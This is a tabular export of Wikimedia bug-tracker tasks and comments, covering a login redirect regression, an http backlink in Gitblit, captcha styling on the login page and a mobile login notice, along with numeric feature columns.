60558,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,"At some point a regression was introduced in the login path. The app used to redirect the user to the URL they initial specified before they were redirected to the login screen. The user seems to always be redirected to the default page now.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1387244220,1388035605.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-jcaupbxiop5wftgva7q4,task_description,resolved,True,c3,1,True,False,True,-81,True,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,12.0,4.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.074626865671642,0.6417910447761194,"At some point a regression was introduced in the login path. The app used to redirect the user to the URL they initial specified before they were redirected to the login screen. The user seems to always be redirected to the default page now.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
269216,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,"Change 102969 merged by jenkins-bot:
Store full URL in session when redirecting to login form

https://gerrit.wikimedia.org/r/102969",,,1387567498,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jcaupbxiop5wftgva7q4,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.380952380952381,1.0,"Change 102969 merged by jenkins-bot:
Store full URL in session when redirecting to login form

GERRIT_URL"
269213,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,This was broken by a change made during the security review to validate the URL stored in the users' pre-authentication session. The redirect code now expects to find a full qualified URL rather than just the local route path.,,,1387563508,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-jcaupbxiop5wftgva7q4,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,0.8409090909090909,This was broken by a change made during the security review to validate the URL stored in the users' pre-authentication session. The redirect code now expects to find a full qualified URL rather than just the local route path.
269208,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,"Change 102969 had a related patch set uploaded by BryanDavis:
Store full URL in session when redirecting to login form

https://gerrit.wikimedia.org/r/102969",,,1387563391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jcaupbxiop5wftgva7q4,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 102969 had a related patch set uploaded by BryanDavis:
Store full URL in session when redirecting to login form

GERRIT_URL"
58953,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"For old svn commits giblit provides a link to mediawiki.org/wiki/Special:Code, but that link is always http, please provide a https link.

If possible, this link should be clickable.

Thanks.

Example on:
https://git.wikimedia.org/commit/mediawiki%2Fcore/96906d6cd38ba7c1c5af81e05a30105e6a29414f

--------------------------
**Version**: wmf-deployment
**Severity**: trivial",Low,25.0,1384285260,1453829072.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-fbkubnlicr5uirinxi5s,task_description,declined,True,c3,1,True,False,False,-86,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.079365079365079,0.6507936507936508,"For old svn commits giblit provides a link to mediawiki.org/wiki/Special:Code, but that link is always http, please provide a https link.

If possible, this link should be clickable.

Thanks.

Example on:
URL

--------------------------
**Version**: wmf-deployment
**Severity**: trivial"
590221,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,(I thought you meant the auto-linking of like r123 :),,,1452782159,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,1.0,(I thought you meant the auto-linking of like r123 :)
590220,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"Ahhhh, those. I see what you're talking about now. That's in refs/notes/* in the repo themselves and comes from the SVN migration days. Prior to HTTPS-everywhere. Those aren't editable at this point.",,,1452782141,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,15.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.652173913043478,0.8695652173913043,"Ahhhh, those. I see what you're talking about now. That's in refs/notes/* in the repo themselves and comes from the SVN migration days. Prior to HTTPS-everywhere. Those aren't editable at this point."
590218,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"The configuration says https, weird :\",,,1452782090,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,"The configuration says https, weird :\"
590193,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"It is not fixed, I still see a http link to www.mediawiki.org on the example above",,,1452776963,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,1.0,"It is not fixed, I still see a http link to www.mediawiki.org on the example above"
589908,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,Was fixed at some point.,,,1452722405,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,27,True,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Was fixed at some point.
273724,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"(In reply to comment #1)
> This is in puppet, easily fixed by anyone.

gitblit.config.erb is the file
> name is memory serves.

Have not found that file in operations/puppet and no other file with .erb which looks like this. I have only found the regex to link r???? to Special:Code (gerrit.config.erb), but this bug is not about that. Its about the refs/notes/commits.

Or is operations/puppet the wrong repo to search for that file?",,,1391199747,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,0.0,3.0,12.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,2.0,12.0,3.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5164835164835164,0.6263736263736264,"(In reply to comment #1)
QUOTE

gitblit.config.erb is the file
QUOTE

Have not found that file in operations/puppet and no other file with .erb which looks like this. I have only found the regex to link r???? to Special:Code (gerrit.config.erb), but this bug is not about that. Its about the refs/notes/commits.

Or is operations/puppet the wrong repo to search for that file?"
273719,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"This is in puppet, easily fixed by anyone.

gitblit.config.erb is the file name is memory serves.",,,1385146535,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,1,True,,,-84,True,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.85,"This is in puppet, easily fixed by anyone.

gitblit.config.erb is the file name is memory serves."
58370,Login captcha shown after too many incorrect attempts to log in looks ugly,"Login captcha (in Polish)

Login captcha shown after too many incorrect attempts to log in looks ugly, compared to the nicely styles create account form captcha.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**Whiteboard**: gci2013
**URL**: https://en.wikipedia.org/wiki/Special:UserLogin

**Attached**: {F12184}",Low,25.0,1383131280,1385991145.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_description,resolved,True,c3,1,True,False,True,-88,True,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.493333333333333,0.5466666666666666,"Login captcha (in Polish)

Login captcha shown after too many incorrect attempts to log in looks ugly, compared to the nicely styles create account form captcha.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**Whiteboard**: gci2013
**URL**: URL

**Attached**: {F12184}"
264609,Login captcha shown after too many incorrect attempts to log in looks ugly,"**swalling** wrote:

(In reply to comment #8)
> Fixed :)
> 
> http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000

This looks great. Nice work everyone.",,,1386021282,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.7,"**swalling** wrote:

(In reply to comment #8)
QUOTE
QUOTE
QUOTE

This looks great. Nice work everyone."
264605,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 merged by jenkins-bot:
Additional styling for CAPTCHA on Special:UserLogin

https://gerrit.wikimedia.org/r/98357",,,1385991358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,0.9473684210526315,"Change 98357 merged by jenkins-bot:
Additional styling for CAPTCHA on Special:UserLogin

GERRIT_URL"
264599,Login captcha shown after too many incorrect attempts to log in looks ugly,"Fixed :)

http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000",,,1385991145,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Fixed :)

URL"
264595,Login captcha shown after too many incorrect attempts to log in looks ugly,Ha! Never knew that. Interesting.,,,1385924674,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.875,Ha! Never knew that. Interesting.
264593,Login captcha shown after too many incorrect attempts to log in looks ugly,"Actually the code to format CAPTCHA to look pretty in the new login/signup form is currently in core (which sucks, feel free to fix that).",,,1385900283,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,16.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6774193548387095,0.8709677419354839,"Actually the code to format CAPTCHA to look pretty in the new login/signup form is currently in core (which sucks, feel free to fix that)."
264590,Login captcha shown after too many incorrect attempts to log in looks ugly,"I'm assuming this bug is meant for Extension:ConfirmEdit, since that's where CAPTCHA support is.",,,1385877510,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.15,0.95,"I'm assuming this bug is meant for Extension:ConfirmEdit, since that's where CAPTCHA support is."
264585,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 had a related patch set uploaded by Jcf2000:
Reformat signin captcha in case of incorrect login

https://gerrit.wikimedia.org/r/98357",,,1385860827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,1.0,"Change 98357 had a related patch set uploaded by Jcf2000:
Reformat signin captcha in case of incorrect login

GERRIT_URL"
264580,Login captcha shown after too many incorrect attempts to log in looks ugly,"The signup captcha is being reformatted by a script in mediawiki.special.createAccount.js; we should probably run it for login too. 
(Also, that's an awful solution. :( )",,,1384557711,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.393939393939394,0.9696969696969697,"The signup captcha is being reformatted by a script in mediawiki.special.createAccount.js; we should probably run it for login too. 
(Also, that's an awful solution. :( )"
264575,Login captcha shown after too many incorrect attempts to log in looks ugly,"Created attachment 13770
Signup captcha (in Polish), for comparison

I refer to the stuff above the red box. It's not styled consistenyl wirh the rest of the form. I attached similar captcha on the signup form for comparison.

**Attached**: {F12185}",,,1384266345,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.736842105263158,0.7368421052631579,"Created attachment 13770
Signup captcha (in Polish), for comparison

I refer to the stuff above the red box. It's not styled consistenyl wirh the rest of the form. I attached similar captcha on the signup form for comparison.

**Attached**: {F12185}"
264569,Login captcha shown after too many incorrect attempts to log in looks ugly,Do you refer to the capture itself? Or the red box?,,,1384262361,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.8461538461538461,Do you refer to the capture itself? Or the red box?
58359,Special:UserLogin does not inform you you're already logged in on mobile,"**Author:** `swalling`

**Description:**
Desktop screenshot

On the desktop sight, if I visit Special:UserLogin (such as through a link in a help page), but I'm already logged in, I now get a helpful message telling me that I am already authenticated. [See screenshot attached]

On mobile, I am given the normal login form, and no indication that I don't need to log in again. It would be nice if you just displayed the same warning message that gets displayed on desktop.

--------------------------
**Version**: unspecified
**Severity**: enhancement

